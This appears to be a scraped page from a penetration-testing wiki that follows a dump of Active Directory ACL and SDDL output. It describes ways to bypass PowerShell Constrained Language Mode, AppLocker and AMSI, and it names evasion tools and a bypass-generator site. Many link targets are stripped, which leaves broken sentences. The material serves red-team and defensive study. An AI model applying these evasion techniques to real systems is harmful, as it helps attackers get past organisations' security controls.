;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"

Owner            : BUILTIN\Administrators
Group            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
                   AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
                   Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
                   (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
                   WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
                   BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
                   SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
                   (Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
AnteriorAuxReconSiguientePowerView.ps1

Última actualización hace 3 meses

PowerShell locks down many of the features needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.

In current Windows that Bypass won't work but you can use. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.

You can use or to execute Powershell code in any process and bypass the constrained mode. For more info check: .

is Microsoft's application whitelisting solution and gives system administrators control over which applications and files users can run. It provides granular control over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers. It is common for organizations to block cmd.exe and PowerShell.exe and write access to certain directories, but this can all be bypassed.

Commonly trusted binaries can be also useful to bypass AppLocker.

Organizations also often focus on blocking the %System32%\WindowsPowerShell\v1.0\powershell.exe executable, but forget about the other such as %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe or PowerShell_ISE.exe.

You can use or to execute Powershell code in any process and bypass AppLocker. For more info check: .

AMSI bypass generator web page:

Check . Introduction:

you can see how with enough privileges to debug processes, you can spawn a powershell.exe process, debug it, monitor when it loads amsi.dll and disable it.

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Constrained Language Mode
PSByPassCLM
ReflectivePick
SharpPick
https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode
AppLocker
"LOLBAS's"
PowerShell executable locations
ReflectivePick
SharpPick
https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode
https://amsi.fail/
this post for detailed info and the code
Following this guide & code
S3cur3Th1sSh1t/Amsi-Bypass-Powershell
Amsi Bypass on Windows 11 In 2023
Github
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
Network
15 Ways to Bypass the PowerShell Execution PolicyNetSPI
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